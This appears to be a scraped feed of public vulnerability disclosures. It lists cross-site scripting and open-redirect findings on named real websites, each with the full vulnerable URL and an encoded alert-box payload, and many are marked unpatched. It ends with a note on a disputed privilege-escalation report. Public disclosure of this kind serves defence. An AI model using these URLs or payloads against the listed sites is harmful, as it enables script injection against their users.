gsdl.ubcic.bc.ca XSS vulnerability

Vulnerable URL: http://gsdl.ubcic.bc.ca/cgi-bin/library.cgi?site=localhost=p=about=generalr=en=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

gaelstream.stfx.ca XSS vulnerability

Vulnerable URL: http://gaelstream.stfx.ca/greenstone/cgi-bin/library.cgi?site=localhost=p=about=capebret=en=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:|...

sist.sn XSS vulnerability

Vulnerable URL: http://www.sist.sn/cgi-bin/library?a=p=home=fr=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 409077 VIP website...

ibdigital.uib.es XSS vulnerability

Vulnerable URL: http://ibdigital.uib.es/greenstone/cgi-bin/library.cgi?site=localhost=p=about=territoris=es=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:|...

agenteat.com XSS vulnerability

Vulnerable URL: http://agenteat.com/searchResult.php?cuisine=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10089240 VIP website status:| No Coordinated...

tricor.net XSS vulnerability

Vulnerable URL: http://tricor.net/searchresult.php?proptype=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest check for patch:| 21.11.2017 21:19 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

earthscope.com.sg XSS vulnerability

Vulnerable URL: https://www.earthscope.com.sg/searchresult.php?search=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

spectrasonics.net XSS vulnerability

Vulnerable URL: https://www.spectrasonics.net/support/knowledgebase-searchresult.php?p=34==%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 72708 VIP websit...

seagate-trogir.com XSS vulnerability

Vulnerable URL: http://www.seagate-trogir.com/searchResult.php?lang=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E=16=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

link.converse.com Open Redirect vulnerability

Vulnerable URL: http://link.converse.com/u.d?XYGphEFE1sytph8zYp10E=1541=762521669=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

historicmapworks.com XSS vulnerability

Vulnerable URL: http://www.historicmapworks.com/Search/Address/searchResult.php?lat=43.6500911=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 309840 VIP...

expat.ru XSS vulnerability

Vulnerable URL: https://www.expat.ru/searchresult.php?wtf=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 554962 VIP website...

ak-america.com XSS vulnerability

Vulnerable URL: http://www.ak-america.com/searchresult.php?s=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11045822 VIP...

fundacioncontrabajo.cl XSS vulnerability

Vulnerable URL: http://www.fundacioncontrabajo.cl/contacto/?a=%22/%3E%27%3E%22%3EI%3Ci%3EI%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

riverridge.co.uk XSS vulnerability

Vulnerable URL: https://riverridge.co.uk/mediacategory/stock-photography/?a=%22/%3E%27%3E%22%3EI%3Ci%3EI%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13818084 VIP website...

nral2wa0.micpn.com Open Redirect vulnerability

Vulnerable URL: https://nral2wa0.micpn.com/p/cp/3c57634a7805720c/r?miu=762521669=https%3A%2F%2Fwww.openbugbounty.org%2F Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...

vinissimo.biz XSS vulnerability

Vulnerable URL: http://www.vinissimo.biz/catalog/?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3804958 VIP website status:| No Coordinated Disclosure Timeline: Description|...

servertown.ch XSS vulnerability

Vulnerable URL: https://servertown.ch/virtuelle-server-anpassen?product=Eas%27%22%3E%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

hernebaytp.co.uk XSS vulnerability

Vulnerable URL: http://www.hernebaytp.co.uk/searchresult.php?p=1=69=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14777456...

Inflection: Business Logic Flaw allowing Privilege Escalation

Researcher misunderstood the names and permissions assigned to various roles in the GoodHire application - the permissions are working as intended. Nevertheless, the researcher requested for the report to be disclosed...